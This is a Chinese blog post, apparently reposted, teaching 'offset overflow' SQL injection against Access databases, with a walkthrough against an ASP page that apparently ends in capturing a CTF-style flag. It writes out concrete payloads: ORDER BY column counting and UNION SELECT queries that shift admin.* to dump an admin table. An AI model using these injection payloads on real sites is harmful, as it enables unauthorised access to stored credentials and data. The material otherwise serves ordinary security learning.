Web - Access偏移溢注

Posted 1ta-chi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Web - Access偏移溢注相关的知识,希望对你有一定的参考价值。

文章目录

知识点

之前的查询数据都是先表名,再字段…但是在Access数据库中,可没有什么“系统自带库”,这个时候,哼哼,就要来点花活了
丑话说在前面,Access中的表名是无解的,要么跑字典,要么猜

选中库.表.字段
*:通配符,表示所有
表.*:所有字段


偏移溢注:当原表字段大于我要查询的表的字段的时候,就要用到偏移溢注

是不是觉得我没说明白,来感受一下:

select * from login where username='$username'	//假设 login 表 6 个字段
union 
select 1,2,admin.* from admin;		//假设 admin 表 4 个字段

可以用1,2来补位,更甚之移动admin.*的位置!!
这就叫偏移注入!

实战


拿到一个做的跟非法网站一样的东西,随便点一个进去看一下

看到是ASP写的,而且有GET传参,可以在Cookie上动点手脚

尝试注入:id=171' -- qwe

不能闭合,不闭合试试,直接排字段:id=171 order by 1

果然没有闭合,最后查出来是十个字段,猜测表名是admin,而且测出来admin表的字段比这个页面的字段数还要大,就在这几个页面里试,最终找到比admin表的字段大的

发现id=105这个页面有26个字段,查一下回显点:id=105 and 1=2 union select 11111,21111,31111,41111,51111,61111,71111,81111,91111,101111,111111,121111,131111,141111,151111,161111,171111,181111,191111,201111,211111,221111,231111,241111,251111,261111 from admin
发现回显点为:3,5,7,25

这里注意,如果不写and 1=2是正常页面,写了就不会回显正常页面而输出我们想看到的回显点!
要检查源码!它里面也有输出点呢!!!

现在开始将26替换为admin.*,以此来判断一下admin表里有几个字段,逐次删除位数,直到页面正常回显:id=105 union select 1,2,31111,4,51111,6,71111,8,9,10,admin.* from admin

看来admin表有16个字段,而且倒数第二个字段是" ",接下来就是偏移溢注,其实就是把admin.*一直向左移,查敏感字段id=105 union select 1,2,31111,4,51111,6,71111,8,9,admin.*,26 from admin

移了一下flag就来啦,耶比耶比

以上是关于Web - Access偏移溢注的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入 移位溢入

Jekyll 偏移代码片段高亮的初始行

access偏移注入*过滤了怎么办

Solr 高亮是不是还可以指示返回的片段在原始字段中的位置或偏移量?

ACCESS数据库偏移注入

为移动目标 lat/lng 和缩放级别的动画偏移地图片段的中心